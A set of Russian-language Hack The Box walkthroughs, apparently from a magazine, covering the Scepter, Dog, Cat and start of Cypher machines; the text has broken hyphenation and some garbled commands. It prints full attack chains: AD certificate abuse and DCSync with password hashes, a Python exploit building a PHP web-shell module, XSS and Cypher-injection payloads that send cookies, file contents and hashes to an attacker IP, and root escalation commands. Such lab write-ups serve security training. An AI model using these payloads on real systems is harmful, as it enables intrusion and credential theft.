Учет ные дан ные поль зовате ля

На этот раз уда лось получить билет TGT и извлечь из него NTLM-хеш пароля
поль зовате ля.

ÏÐÎÄÂÈÆÅÍÈÅ

У нас есть домен ная учет ная запись, а зна чит, мы можем соб рать информа -
цию о домене с помощью .BloodHound

Ути лита  исполь зует теорию гра фов для выяв ления скры тых
и зачас тую неп редна мерен ных вза имос вязей в сре де Active Directory. Ее мож -
но исполь зовать, что бы лег ко иден тифици ровать очень слож ные пути ата ки.
Помимо самой ути литы, которая поз воля ет прос матри вать граф, сущес тву ет
часть, заг ружа емая на уда лен ный хост для сбо ра информа ции. Она быва ет
в вер сиях для раз ных ОС и на раз ных язы ках прог рамми рова ния.

BloodHound

Со бирать дан ные будем с помощью кол лекто ра .RustHound

RustHound не может аутен тифици ровать ся с помощью хеша, одна ко может
исполь зовать аутен тифика цию Kerberos. Вне сем информа цию о целевом
домене в файл ./etc/krb5.conf

[domain_realm]
      .scepter.htb = SCEPTER.HTB
      scepter.htb = SCEPTER.HTB

[libdefaults]
      default_realm = SCEPTER.HTB
      dns_lookup_realm = false
      dns_lookup_kdc = true
      ticket_lifetime = 24h
      forwardable = true

[realms]
      SCEPTER.HTB = {

          kdc = DC01.SCEPTER.HTB
          admin_server = DC01.SCEPTER.HTB
          default_domain = SCEPTER.HTB

    }

За тем зап росим билет TGT поль зовате ля и выпол ним под клю чение к служ бе
LDAP.

 faketime -f '+8h' getTGT.py scepter.htb/d.baker -dc-ip 10.10.11.65 
-hashes :18b5fb0d99e7a475316213c15b6f22ce

 
   All

KRB5CCNAME=d.baker.ccache faketime -f "+8h" ./rusthound-ce -d 
SCEPTER.HTB -u d.baker -f DC01 -k -z -c

Ло ги RustHound

Пос тро им граф от ском про мети рован ного поль зовате ля .d.baker

Граф BloodHound

Су дя по гра фу, учет ная запись  име ет пра во 
(изме нить пароль) на учет ную запись . Уста новим поль зовате лю

свой пароль с помощью .

D.BAKER ForceChangePassword
A.CARTER

bloodyAD

bloodyAD -d scepter.htb -u d.baker -p :
18b5fb0d99e7a475316213c15b6f22ce --host 10.10.11.65 set password a.
carter Password123

Сме на пароля поль зовате лю a.carter

Так как мы ском про мети рова ли нового поль зовате ля, перес тра иваем граф
BloodHound от его име ни.

Граф BloodHound

Учет ная запись  вхо дит в груп пу , чле ны которой име ют

пра во  на под разде ление . Уже ском -

про мети рован ный поль зователь  вхо дит в это под разде ление. Так
как речь идет о сер тифика тах, соберем информа цию с ADCS.

A.CARTER IT SUPPORT
GenericAll STAFF ACCESS CERTIFICATE

D.BAKER

 
   

faketime -f '+8h' certipy find -u d.baker@scepter.htb -hashes 
18b5fb0d99e7a475316213c15b6f22ce -enabled -vulnerable -stdout -esc14

Ин форма ция о шаб лоне StaffAccessCerticate

Certipy авто мати чес ки отме тил, что шаб лон сер тифика та
 уяз вим к тех нике ESC14, а имен но к сце нарию B,

о чем говорит помет ка X509RFC822. Тех ника ESC14 зак люча ется в том, что
мы можем исполь зовать явное сопос тавле ние сер тифика тов (атри бут

) для получе ния сер тифика та поль зовате ля ,

сопос тавлен ного по зна чению в . X509RFC822 (сце -

нарий B) говорит о том, что явное сопос тавле ние про изво дит ся по зна чению
атри бута .

StaffAccessCertificate

altSecurityIdentities h.brown
altSecurityIdentities

mail
Нам нуж но уста новить поль зовате лю  зна чение 

 в атри бут , пос ле чего от име ни  зап росить

сер тификат на имя поль зовате ля .

d.baker h.
brown@scepter.htb mail d.baker

h.brown

 
bloodyAD -d scepter.htb -u a.carter -p Password123 --host 10.10.11.
65 set object d.baker mail -v 'h.brown@scepter.htb'

Ре зуль тат изме нения атри бута

Пе ред получе нием сер тифика та допол ним запись в фай ле ./etc/hosts

10.10.11.65 scepter.htb dc01 dc01.scepter.htb scepter-DC01-CA

 faketime -f '+8h' getTGT.py scepter.htb/d.baker -dc-ip 10.10.11.65 
-hashes :18b5fb0d99e7a475316213c15b6f22ce

   
      

KRB5CCNAME=d.baker.ccache faketime -f "+8h" certipy req -k -username
'h.brown' -target 'dc01.scepter.htb' -ca 'scepter-DC01-CA' -template
'StaffAccessCertificate'

По луче ние сер тифика та поль зовате ля h.brown

По сер тифика ту про ходим аутен тифика цию и получа ем сна чала тикет, а затем
и хеш пароля поль зовате ля.

 
 

faketime -f "+8h" certipy auth -pfx h.brown.pfx -dc-ip 10.10.11.65 
-domain scepter.htb -username 'h.brown'

По луче ние учет ных дан ных поль зовате ля

Как показы вает граф BloodHound, поль зователь  сос тоит в груп пе

, что дает ему воз можность логина в служ бе
WinRM.

H.BROWN
REMOTE MANAGEMENT USERS

Граф BloodHound

По луча ем сес сию через WinRM с помощью .Evil-WinRM

 KRB5CCNAME=h.brown.ccache faketime -f "+8h" evil-winrm -i dc01.
scepter.htb -r scepter.htb

Флаг поль зовате ля

ËÎÊÀËÜÍÎÅ ÏÎÂÛØÅÍÈÅ ÏÐÈÂÈËÅÃÈÉ

На хос те ничего инте рес ного най ти не уда лось, а BloodHound ничего
не показал. Но BloodHound мно гое не показы вает, так что исполь зуем

 для поис ка прав записи на отдель ные атри буты объ ектов.bloodyAD

 KRB5CCNAME=h.brown.ccache faketime -f "+8h" bloodyAD -d scepter.htb 
-u h.brown --host dc01.scepter.htb -k get writable --detail

Пра ва записи

Вы вод bloodyAD сооб щает, что учет ная запись  име ет пра во записи

в атри бут  учет ной записи . А зна чит, мы

можем записать в этот атри бут зна чение 
, и тог да дан ная учет ная запись ста нет уяз вима к тех нике ESC14.

h.brown
altSecurityIdentities p.adams

X509:<RFC822>p.adams@scepter.
htb

   
 

 

KRB5CCNAME=h.brown.ccache faketime -f "+8h" bloodyAD -d 'scepter.htb'
-u h.brown -k --host dc01.scepter.htb set object p.adams 
altSecurityIdentities -v 'X509:<RFC822>p.adams@scepter.htb'

За пись в атри бут altSecurityIdentities

Те перь пов торя ем экс плу ата цию ESC14 как ранее, толь ко для дру гой учет ной
записи. Сна чала записы ваем  в атри бут  под кон -

троль ной учет ной записи , а затем от его име ни зап рашива ем сер -
тификат для . А по сер тифика ту уже получа ем учет ные дан ные.

p.adams@scepter.htb mail
d.baker

p.adams

 
bloodyAD -d scepter.htb -u a.carter -p Password123 --host 10.10.11.
65 set object d.baker mail -v 'p.adams@scepter.htb'

 faketime -f '+8h' getTGT.py scepter.htb/d.baker -dc-ip 10.10.11.65 
-hashes :18b5fb0d99e7a475316213c15b6f22ce

   
      

KRB5CCNAME=d.baker.ccache faketime -f "+8h" certipy req -k -username
'p.adams' -target 'dc01.scepter.htb' -ca 'scepter-DC01-CA' -template
'StaffAccessCertificate'

Зап рос сер тифика та для p.adams

 
 

faketime -f "+8h" certipy auth -pfx d.baker.pfx -dc-ip 10.10.11.65 
-domain scepter.htb -username 'p.adams'

По луче ние учет ных дан ных

Ском про мети рова ли нового поль зовате ля — перес тра иваем граф
BloodHound. Поль зователь  сос тоит в груп пе 

, чле ны которой име ют пра во реп ликации дан ных домена.
P.ADAMS REPLICATION

OPERATORS

Граф BloodHound

Вы пол няем ата ку DCSync от име ни  и получа ем учет ные дан ные всех

поль зовате лей домена.

p.adams

secretsdump.py scepter.htb/p.adams@dc01.scepter.htb -hashes :
1b925c524f447bb821a8789c4b118ce0 -just-dc-user Administrator

Ата ка DCSync поз воля ет зло умыш ленни ку, получив шему пра ва Domain Admin
или Replicator, прит ворить ся кон трол лером домена и зап росить у нас тояще го
кон трол лера дамп паролей (вклю чая NTLM-хеши) из Active Directory — через
про токол MS-DRSR (реп ликация AD).

Реп ликация учет ных дан ных

Ло гиним ся по WinRM от име ни адми нис тра тора и забира ем пос ледний флаг.

evil-winrm -i 10.10.11.65 -u Administrator -H 
a291ead3493f9773dc615e66c2ea21c4

Флаг рута

Ма шина зах вачена!

mailto:hackerralf8@gmail.com
https://www.hackthebox.eu/
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https://github.com/BloodHoundAD/BloodHound
https://github.com/BloodHoundAD/BloodHound
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ВЗЛОМ

В этом рай тапе я покажу весь путь ата ки
на Backdrop CMS. Сна чала мы получим
учет ные дан ные из кон фига, забыто го раз -
работ чиками в катало ге Git, затем авто -
ризу емся и заг рузим модуль для выпол -
нения сво его кода и получе ния RCE.
При повыше нии при виле гий вос поль зуем ся
воз можнос тями ути литы адми нис три рова -
ния Backdrop CMS.

На ша конеч ная цель — получе ние прав супер поль зовате ля на машине Dog
с учеб ной пло щад ки . Уро вень задания — лег кий.Hack The Box

Под клю чать ся к машинам с HTB рекомен дует ся
с при мене нием средств ано ними зации и вир -
туали зации. Не делай это го с компь юте ра, где
есть важ ные для тебя дан ные, так как ты ока -
жешь ся в общей сети с дру гими учас тни ками.

ÐÀÇÂÅÄÊÀ

Ñêàíèðîâàíèå ïîðòîâ
До бав ляем IP-адрес машины в :/etc/hosts

10.10.11.58    dog.htb

И запус каем ска ниро вание пор тов.

Ска ниро вание пор тов — стан дар тный пер вый шаг при любой ата ке. Он поз -
воля ет ата кующе му узнать, какие служ бы на хос те при нима ют соеди нение.
На осно ве этой информа ции выбира ется сле дующий шаг к получе нию точ ки
вхо да.

На ибо лее извес тный инс тру мент для ска ниро вания — это Nmap. Улуч шить
резуль таты его работы ты можешь при помощи сле дующе го скрип та:

#!/bin/bash
nmap  500  |     1 | 

 
ports=$( -p- --min-rate= $1 grep ^[0-9] | cut -d '/' -f
tr '
  | s/, /' ',' sed $/ )

nmap   -p$ports -A $1

Он дей ству ет в два эта па. На пер вом про изво дит ся обыч ное быс трое ска -
ниро вание, на вто ром — более тща тель ное ска ниро вание с исполь зовани ем
име ющих ся скрип тов (опция ).-A

Ре зуль тат работы скрип та

Ска нер нашел два откры тых пор та:
22 — служ ба OpenSSH 8.2p1;•
80 — веб-сер вер Apache 2.4.41.•

Из отче та Nmap вид но, что на веб-сер вере есть файл , а так же
репози торий Git.

robots.txt

Глав ная стра ница сай та

ÒÎ×ÊÀ ÂÕÎÄÀ

Пер вым делом поп робу ем выкачать весь репози торий с помощью 

.

git-

dumper

git-dumper http://dog.htb dog

За тем прос мотрим исто рию ком митов через .VSCodium

Ис тория ком митов

В исто рии ком митов ничего инте рес ного нет, одна ко мы узна ем, что исполь -
зует ся Backdrop CMS. Быс трый поиск по сло ву version поз воля ет най ти вер -
сию CMS.

По иск вер сии CMS

Пер вым делом сто ит про верить, есть ли для обна ружен ной сис темы готовые
экс пло иты. С этим воп росом отправ ляем ся в Google.

По иск экс пло итов в Google

По  находим инс трук цию о том, как заг рузить свой модуль
и получить RCE (воз можность уда лен ного выпол нения кода). Одна ко для это -
го нам нуж но сна чала как-то попасть в админку. Поищем учет ные дан ные
в фай ле , где содер жатся нас трой ки для под клю чения к базе

дан ных MySQL.

пер вой ссыл ке

settings.php

Со дер жимое фай ла settings.php

На ходим пароль, но у нас нет логина. Ищем по домену — и находим email
поль зовате ля.

По иск поч товых адре сов

С получен ными поч товым адре сом и паролем успешно авто ризу емся
в Backdrop CMS.

Глав ная панель Backdrop CMS

ÒÎ×ÊÀ ÎÏÎÐÛ

Ис поль зуем сле дующий экс пло ит для соз дания модуля Backdrop CMS,
который будет давать нам веб-шелл.

 import os
 import time
 import zipfile

 def create_files():
      info_content = """
    type = module
    name = Block
    description = Controls the visual building blocks a page is 
constructed
    with. Blocks are boxes of content rendered into an area, or 
region, of a
    web page.
    package = Layouts
    tags[] = Blocks
    tags[] = Site Architecture
    version = BACKDROP_VERSION
    backdrop = 1.x

    configure = admin/structure/block

    ; Added by Backdrop CMS packaging script on 2024-03-07
    project = backdrop
    version = 1.27.1
    timestamp = 1709862662
    """
      shell_info_path = "shell/shell.info"
     os.makedirs(os.path.dirname(shell_info_path), exist_ok=True)
        with open(shell_info_path, "w") as file:
        file.write(info_content)

      shell_content = """
    <html>
    <body>
    <form method="GET" name="<?php echo basename($_SERVER['PHP_SELF'
]); ?>">
    <input type="TEXT" name="cmd" autofocus id="cmd" size="80">
    <input type="SUBMIT" value="Execute">
    </form>
    <pre>
    <?php
    if(isset($_GET['cmd']))
    {
    system($_GET['cmd']);
    }
    ?>
    </pre>
    </body>
    </html>
    """
      shell_php_path = "shell/shell.php"
        with open(shell_php_path, "w") as file:
        file.write(shell_content)
      return shell_info_path, shell_php_path

  def create_zip(info_path, php_path):
      zip_filename = "shell.zip"
        with zipfile.ZipFile(zip_filename, 'w') as zipf:

         zipf.write(info_path, arcname='shell/shell.info')
         zipf.write(php_path, arcname='shell/shell.php')

     return zip_filename

 def main(url):
    print("Backdrop CMS 1.27.1 - Remote Command Execution Exploit")
    time.sleep(3)

    print("Evil module generating...")
    time.sleep(2)

       info_path, php_path = create_files()
       zip_filename = create_zip(info_path, php_path)

     print("Evil module generated!", zip_filename)
    time.sleep(2)

         print("Go to " + url + "/admin/modules/install and upload the " +
            zip_filename + " for Manual Installation.")

    time.sleep(2)

       print("Your shell address:", url + "/modules/shell/shell.php")

   if __name__ == "__main__":
     import sys
       if len(sys.argv) < 2:
        print("Usage: python script.py [url]")
    else:
        main(sys.argv[1])

Соз дание архи ва с веб-шел лом

Мо дуль будет в фор мате zip, что для нашего слу чая не подой дет, поэто му упа -
куем каталог  в фор мат .shell tar.gz

tar czf shell.tar.gz shell

Те перь перехо дим на стра ницу  и заг ружа ем файл

.

admin/modules/install
shell.tar.gz

Стра ница заг рузки модуля

Ре зуль тат заг рузки модуля

Ког да модуль заг ружен, веб-шелл дос тупен по адре су 
.

modules/shell/
shell.php

Ре зуль тат выпол нения коман ды id

Сге нери руем реверс-шелл на сай те . Будем исполь зовать вер -
сию Bash (Base64).

tex2e.github.io

Соз дание реверс-шел ла

За пус тим лис тенер ( ) и выпол ним реверс-шелл. Так мы

смо жем получить дос туп к уста нов ленно му на сер вере Linux от име ни учет ной
записи веб-сер вера .

pwncat -lp 4321

www-data

Сес сия поль зовате ля www-data

ÏÐÎÄÂÈÆÅÍÈÅ

Не ред ко поль зовате ли ста вят вез де один и тот же пароль. Получим спи сок
юзе ров, име ющих воз можность выпол нять коман ды в кон соли.

bashcat /etc/passwd | grep 

Поль зовате ли с кон солью

С име ющим ся у нас паролем авто ризу емся от име ни поль зовате ля
 и забира ем пер вый флаг.johncusack

Флаг поль зовате ля

ËÎÊÀËÜÍÎÅ ÏÎÂÛØÅÍÈÅ ÏÐÈÂÈËÅÃÈÉ

Те перь нам необ ходимо соб рать информа цию. Я буду исполь зовать для это -
го скрип ты PEASS.

Что делать пос ле того, как мы получи ли дос туп в сис тему от име ни поль -
зовате ля? Вари антов даль нейшей экс плу ата ции и повыше ния при виле гий
может быть очень мно го, как в Linux, так и в Windows. Что бы соб рать
информа цию и наметить цели, мож но исполь зовать 

 (PEASS) — набор скрип тов, которые про веря ют сис -
тему на авто мате и выда ют под робный отчет о потен циаль но инте рес ных
фай лах, про цес сах и нас трой ках.

Privilege Escalation
Awesome Scripts SUITE

Прос матри ваем вывод и видим, что зацепить ся не за что. Одна ко мы
не получи ли нас трой ки sudoers, так как для это го тре бует ся ввес ти пароль
поль зовате ля. Давай получим их вруч ную.

Со обще ние при получе нии нас тро ек sudoers

Нас трой ки sudoers

Ви дим, что мы можем выпол нить файл  от име ни при -
виле гиро ван ного поль зовате ля . Про верим, что это за файл.

/usr/local/bin/bee
root

Про вер ка фай ла

Файл пред став ляет собой ссыл ку на .

Это скрипт на PHP, который поз воля ет выпол нять зап росы к базе дан ных,
а так же выпол нять код через фун кцию .

/backdrop_tool/bee/bee.php

eval

Па рамет ры скрип та

Ис поль зуем параметр  для вызова фун кции , что бы запус тить

коман дную обо лоч ку bash в кон тек сте .

php-eval system
root

 sudo /usr/local/bin/bee --root=/var/www/html eval "system('bash -p');
"

Флаг рута

Ма шина зах вачена!
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ВЗЛОМ

Се год ня я покажу про цесс экс плу ата ции
двух XSS-уяз вимос тей: сна чала в веб-при -
ложе нии, что поз волит нам получить сес -
сию адми нис тра тора, а затем — в репози -
тории Gitea, что бы повысить при виле гии
в Linux. Так же нам понадо бит ся исполь -
зовать SQL-инъ екцию, что бы получить учет -
ные дан ные при ложе ния.

На ша конеч ная цель — получе ние прав супер поль зовате ля на машине Cat
с учеб ной пло щад ки . Уро вень ее слож ности — сред ний.Hack The Box

Под клю чать ся к машинам с HTB рекомен дует ся
с при мене нием средств ано ними зации и вир -
туали зации. Не делай это го с компь юте ра, где
есть важ ные для тебя дан ные, так как ты ока -
жешь ся в общей сети с дру гими учас тни ками.

ÐÀÇÂÅÄÊÀ

Ñêàíèðîâàíèå ïîðòîâ
До бав ляем IP-адрес машины в :/etc/hosts

10.10.11.53    cat.htb

И запус каем ска ниро вание пор тов.

Ска ниро вание пор тов — стан дар тный пер вый шаг при любой ата ке. Оно поз -
воля ет ата кующе му узнать, какие служ бы на хос те при нима ют соеди нение.
На осно ве этой информа ции выбира ется сле дующий шаг к получе нию точ ки
вхо да.

На ибо лее извес тный инс тру мент для ска ниро вания — это Nmap. Улуч шить
резуль таты его работы ты можешь при помощи сле дующе го скрип та:

#!/bin/bash
nmap  500  |     1 | 

 
ports=$( -p- --min-rate= $1 grep ^[0-9] | cut -d '/' -f
tr '
  | s/, /' ',' sed $/ )

nmap   -p$ports -A $1

Он дей ству ет в два эта па. На пер вом про изво дит ся обыч ное быс трое ска -
ниро вание, на вто ром — более тща тель ное ска ниро вание, с исполь зовани ем
име ющих ся скрип тов (опция ).-A

Ре зуль тат работы скрип та

Ска нер нашел два откры тых пор та:
22 — служ ба OpenSSH 8.2p1;•
80 — веб-сер вер Apache 2.4.41.•

В отче те ска ниро вания видим обна ружен ный в кор невом катало ге репози -
торий ..git

Глав ная стра ница сай та

ÒÎ×ÊÀ ÂÕÎÄÀ

Ска чаем весь репози торий на локаль ную машину с помощью .git-dumper

git-dumper http://cat.htb cat

Ко пиро вание репози тория

От кры ваем каталог с репози тори ем в VS Code и смот рим исто рию ком митов.
Находим все го один ком мит, а зна чит, никаких «ста рых» и «тес товых» учет ных
дан ных мы не получим.

Ис тория ком митов

Но заполу чить исходный код веб-при ложе ния — уже боль шая уда ча. Изу чим
интерфейс сай та, что бы отме тить инте рес ные стра ницы и фун кции. В фай ле

 реали зова но голосо вание за котов.vote.php

Со дер жимое стра ницы vote.php

Так же мы можем зарегис три ровать ся на сай те. Как пра вило, авто ризо ван -
ному поль зовате лю дос тупно боль ше фун кций, чем обыч ному посети телю.

Стра ница авто риза ции

ÒÎ×ÊÀ ÎÏÎÐÛ

Пе рей дем к ана лизу исходно го кода. В фай ле  содер жится обра бот -
чик зап росов регис тра ции и авто риза ции. Передан ные дан ные (нап ример,
имя поль зовате ля) сох раня ются в базе без про верок и изме нений.

join.php

Со дер жимое фай ла join.php

В фай ле  дан ные, получен ные в POST-парамет ре ,

переда ются непос редс твен но в SQL-зап рос к базе дан ных (стро ка 10). Одна -
ко про экс плу ати ровать эту SQL-инъ екцию мы можем толь ко от име ни поль -
зовате ля  (стро ка 5).

accept_cat.php catName

axel

Со дер жимое фай ла accept_cat.php

За пус тим веб-сер вер на сво ей машине:

python3 -m http.server

И зарегис три руем поль зовате ля, в име ни которо го впи шем обыч ную наг рузку
XSS, переда ющую на наш сер вер куки поль зовате ля.

asd<script>fetch('http://10.10.16.30:8000/?id='+document.cookie);</
script>

Фор ма регис тра ции

За тем на стра нице Contest зарегис три руем кота. Если адми нис тра тор рас -
смат рива ет заяв ки, наша наг рузка дол жна будет сра ботать.

Фор ма регис тра ции

В течение нес коль ких секунд в логах веб-сер вера появит ся зап рос с иден -
тифика тором сес сии адми нис тра тора.

Ло ги веб-сер вера

От кры ваем панель раз работ чика в бра узе ре, перехо дим к локаль ному хра -
нили щу и впи сыва ем получен ные куки.

Па нель раз работ чика

Об новля ем стра ницу и видим, что появи лось меню адми нис тра тора, а зна чит,
куки при мени лись.

Стра ница адми нис тра тора

SQL-èíúåêöèÿ
У нас есть сес сия адми нис тра тора, перей дем к экс плу ата ции SQL-инъ екции.
Для это го будем исполь зовать .sqlmap

Под робнее о том, что такое SQL-инъ екции и как
они работа ют, читай в статье «

».

SQL-инъ екции.
Раз бира ем на паль цах одну из самых популяр ных
хакер ских тех ник

Пе реда ем ути лите URL (параметр ), дан ные ( ), иден тифика тор сес -

сии в , а так же уяз вимый параметр ( ). Что бы на каж дый воп рос
от sqlmap выбирал ся ответ по умол чанию, необ ходимо задать флаг .

Что бы сра зу получить име на всех таб лиц, добавим флаг .

-u --data
--cookie -p

--batch
--tables

  
   

 5 3  

sqlmap -u 'http://cat.htb/accept_cat.php' --data="catId=123&
catName=asd" --cookie='PHPSESSID=lpgf9osmou0p44q9a3e6a7qn13' -p
"catName" --level= --risk= --dbms=SQLite --tables --batch

Об наружен ная наг рузка

Спус тя нес коль ко минут sqlmap отоб разит най ден ную наг рузку для уяз вимос -
ти и нач нет под бирать име на таб лиц.

Таб лицы в базе дан ных

Те перь сдам пим из таб лицы  все дан ные (парамет ры 
). Что бы уско рить получе ние дан ных, уста новим количес тво потоков рав -

ным десяти ( ).

users -T users --
dump

--threads

  
   

 5 3  10   
 

sqlmap -u 'http://cat.htb/accept_cat.php' --data="catId=123&
catName=asd" --cookie='PHPSESSID=n149qi44a4ovss1qmdbm32a59g' -p
"catName" --level= --risk= --threads --dbms=SQLite -T users
--dump --batch

Дан ные в таб лице users

На сай те  мож но про верить MD5-хеши по базам. Так получа ем
пароль поль зовате ля .

CrackStation
rosa

Ре зуль тат про вер ки хешей

Продолжение статьи →
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ПОЛУЧАЕМ ПРИВАТНЫЕ ДАННЫЕ
ЧЕРЕЗ XSS В GITEA

ВЗЛОМ  НАЧАЛО СТАТЬИ

С эти ми учет ными дан ными под клю чаем ся по SSH и получа ем сес сию поль -
зовате ля .rosa

Сес сия поль зовате ля rosa

ÏÐÎÄÂÈÆÅÍÈÅ

Наш поль зователь сос тоит в груп пе , а зна чит, может читать мно гие логи,

в том чис ле и логи веб-сер вера Apache.

adm

 ls -la /var/log/apache2/

Со дер жимое катало га /var/log/apache2/

Про верим, есть ли в логах какие-то пароли или сек реты. Час то быва ет полез -
но пофиль тро вать по раз ным инте рес ным подс тро кам. Нап ример, .pass

 |  cat /var/log/apache2/* grep -i pass

Ре зуль тат филь тра ции строк

Так находим пароль. Про верим, не явля ется ли он сис темным. Для это го
прос мотрим спи сок поль зовате лей сис темы, у которых есть воз можность
исполь зовать кон соль.

bashcat /etc/passwd | grep 

Поль зовате ли с кон солью

Ав торизу емся от име ни поль зовате ля  и забира ем пер вый флаг.axel

Флаг поль зовате ля

ËÎÊÀËÜÍÎÅ ÏÎÂÛØÅÍÈÅ ÏÐÈÂÈËÅÃÈÉ

Те перь нам необ ходимо соб рать информа цию. Я буду исполь зовать для это -
го скрип ты PEASS.

Что делать пос ле того, как мы получи ли дос туп в сис тему от име ни поль -
зовате ля? Вари антов даль нейшей экс плу ата ции и повыше ния при виле гий
может быть очень мно го, как в Linux, так и в Windows. Что бы соб рать
информа цию и наметить цели, мож но исполь зовать 

 (PEASS) — набор скрип тов, которые про веря ют сис -
тему на авто мате и выда ют под робный отчет о потен циаль но инте рес ных
фай лах, про цес сах и нас трой ках.

Privilege Escalation
Awesome Scripts SUITE

Заг рузим на уда лен ный хост скрипт для Linux, дадим пра во на выпол нение
и запус тим ска ниро вание. В выводе пыта емся най ти информа цию, которая
поможет нам в эска лации при виле гий.

Для локаль ного хос та прос лушива ется порт 3000, а это обыч но какое-то
веб-при ложе ние.

От кры тые пор ты

У поль зовате ля axel есть вхо дящие сооб щения.

Со обще ния Linux

Да вай пос мотрим их, про читав файл . В сооб щении

от  говорит ся о сер висе, свя зан ном с кош ками, а так же
о репози тории Gitea. При этом отдель но упо мина ется чет кое опи сание
репози тория, который будет прос мотрен. Что бы это про изош ло, нуж но толь ко
прис лать поль зовате лю ссыл ку на репози торий.

/var/mail/axel
jobert@localhost

В дру гом сооб щении говорит ся про сис тему управле ния пер соналом, дос -
тупную в Gitea по такому адре су:

http://localhost:3000/administrator/Employee-management/raw/branch/
main/README.md

Со дер жимое фай ла /var/mail/axel

Для дос тупа к Gitea необ ходимо будет «про кинуть» порт 8080 на свой хост
с помощью SSH.

ssh axel@cat.htb -L 3000:127.0.0.1:3000

Пос ле это го весь тра фик, который мы пош лем на локаль ный порт 3000, будет
тун нелиро ван на порт 3000 ука зан ного хос та (в дан ном слу чае 127.0.0.1)
через SSH-хост. Теперь можем пос мотреть на сер вис через бра узер. Авто -
ризо вать ся мож но от име ни поль зовате ля . Вни зу стра ницы видим вер -

сию Gitea 1.22.0.

axel

Глав ная стра ница Gitea

Вер сия Gitea

Пер вым делом сто ит про верить, есть ли для обна ружен ной вер сии готовые
экс пло иты.

По иск экс пло итов в Google

Пер вая ссыл ка в Google при водит нас к уяз вимос ти , а сле дом
находим  экс пло ита.

CVE-2024-6886
под робное опи сание

В Gitea 1.22.0 есть Stored XSS — в поле description репози тори ев. Про -
верим, есть ли уяз вимость в нашей вер сии. Для это го соз дадим тес товый
репози торий, в опи сании которо го ука жем наг рузку:

 <a href=javascript:alert()>XSS test</a>

За тем зай дем в репози торий и откро ем опи сание.

Соз дание репози тория

Ре зуль тат работы наг рузки

По ана логии соз даем новый репози торий, но исполь зуем дру гую наг рузку.
Она будет выпол нять зап рос к индекс-фай лу в репози тории сис темы
управле ния пер соналом:

http://localhost:3000/administrator/Employee-management/raw/branch/
main/index.php

Со дер жимое репози тория кодиру ем в URLEncode и Base64, пос ле чего
отправ ляем на наш веб-сер вер. Так же добавим в репози торий любой файл.

 <a href='javascript:fetch("http://localhost:3000/administrator/
Employee-management/raw/branch/main/index.php").then(response=>
response.text()).then(data=>fetch("http://10.10.16.30:8000/
?data="+encodeURIComponent(btoa(unescape(encodeURIComponent(
data))))));'>Description</a>

Соз данный репози торий

Ос талось отпра вить по адре су  ссыл ку на соз данный

репози торий. В логах нашего веб-сер вера ( ) уви -
дим зап рос.

jobert@localhost
python3 -m http.server

  echo -e "Subject: cve \n\nhttp://localhost:3000/axel/cve" | sendmail 
jobert@localhost

Ло ги веб-сер вера

Де коди руем дан ные из Base64 и в исходном коде  находим пароль.index.php

Ре зуль тат декоди рова ния дан ных

Этот пароль подошел к поль зовате лю .root

Флаг рута

Ма шина зах вачена!

https://github.com/carlospolop/PEASS-ng
https://github.com/carlospolop/PEASS-ng
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-6886
https://www.exploit-db.com/exploits/52077
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ВЗЛОМ

Се год ня я покажу, как при помощи инъ -
екции кода на язы ке Cypher мож но ата -
ковать гра фовую базу дан ных Neo4j и обой -
ти авто риза цию. Затем мы про ведем инъ -
екцию команд ОС и получим сес сию на хос -
те, а соб рав учет ные дан ные, сме ним поль -
зователь скую сес сию и повысим при виле -
гии через регис тра цию сво его модуля
для BBOT.

На ша цель — получе ние прав супер поль зовате ля на машине Cypher с учеб -
ной пло щад ки . Уро вень слож ности задания — сред ний.Hack The Box

Под клю чать ся к машинам с HTB рекомен дует ся
с при мене нием средств ано ними зации и вир -
туали зации. Не делай это го с компь юте ров, где
есть важ ные для тебя дан ные, так как ты ока -
жешь ся в общей сети с дру гими учас тни ками.

ÐÀÇÂÅÄÊÀ

Ñêàíèðîâàíèå ïîðòîâ
До бав ляем IP-адрес машины в :/etc/hosts

10.10.11.57    cypher.htb

И запус каем ска ниро вание пор тов.

Ска ниро вание пор тов — стан дар тный пер вый шаг при любой ата ке. Он поз -
воля ет ата кующе му узнать, какие служ бы на хос те при нима ют соеди нение.
На осно ве этой информа ции выбира ется сле дующий шаг к получе нию точ ки
вхо да.

На ибо лее извес тный инс тру мент для ска ниро вания — это Nmap. Улуч шить
резуль таты его работы ты можешь при помощи сле дующе го скрип та:

#!/bin/bash
nmap  500  |     1 | 

 
ports=$( -p- --min-rate= $1 grep ^[0-9] | cut -d '/' -f
tr '
  | s/, /' ',' sed $/ )

nmap   -p$ports -A $1

Он дей ству ет в два эта па. На пер вом про изво дит ся обыч ное быс трое ска -
ниро вание, на вто ром — более тща тель ное ска ниро вание, с исполь зовани ем
име ющих ся скрип тов (опция ).-A

Ре зуль тат работы скрип та

Ска нер нашел два откры тых пор та:
22 — служ ба OpenSSH 9.6p1;•
80 — веб-сер вер Nginx 1.24.0.•

По отче ту Nmap вид но, что веб-сер вер выпол няет редирект на сайт 
. Там нас встре тит сайт с гра фом и ссыл кой на стра ницу авто -

риза ции.

http://
cypher.htb

Глав ная стра ница сай та

ÒÎ×ÊÀ ÂÕÎÄÀ

Я поп робовал вста вить в фор му авто риза ции базовую наг рузку, которая бы
помог ла обой ти авто риза цию, если бы сра бота ла инъ екция 

. Одна ко получа ем огромный текст ошиб ки.

admin' or 1=1 -
- -

Фор ма авто риза ции

Удоб нее прос мотреть текст в Burp History. Нам отоб ража ется часть зап роса
на язы ке Cypher, который исполь зует ся на сер вере.

Burp History

Про Cypher-инъ екции я уже писал в . По зап росу вид но, что
хеш пароля воз вра щает ся как зна чение . Выпол ним инъ екцию

и эксфиль тру ем на свой веб-сер вер зна чение хеша. Сам сер вер соз даем
коман дой .

од ном из рай тапов
h.value

python3 -m http.server

admin' OR 1=1 LOAD CSV FROM 'http://10.10.16.73:8000/?value='+h.
value AS hash Return ''//

Зап рос на сер вер

Ло ги веб-сер вера

По пыт ки проб рутить хеш ни к чему не при вели, поэто му попыта емся най ти
еще что-нибудь инте рес ное.

ÒÎ×ÊÀ ÎÏÎÐÛ

Поп робу ем переб рать катало ги и фай лы при помощи .feroxbuster

Од но из пер вых дей ствий при тес тирова нии безопас ности веб-при ложе -
ния — это ска ниро вание методом перебо ра катало гов, что бы най ти скры тую
информа цию и недос тупные обыч ным посети телям фун кции. Для это го мож но
исполь зовать прог раммы вро де ,  или . Я пред почитаю

.
dirsearch DIRB ffuf

feroxbuster
При запус ке ука зыва ем сле дующие парамет ры:

 — URL;• -u
 — сло варь (я исполь зую сло вари из набора );• -w SecLists
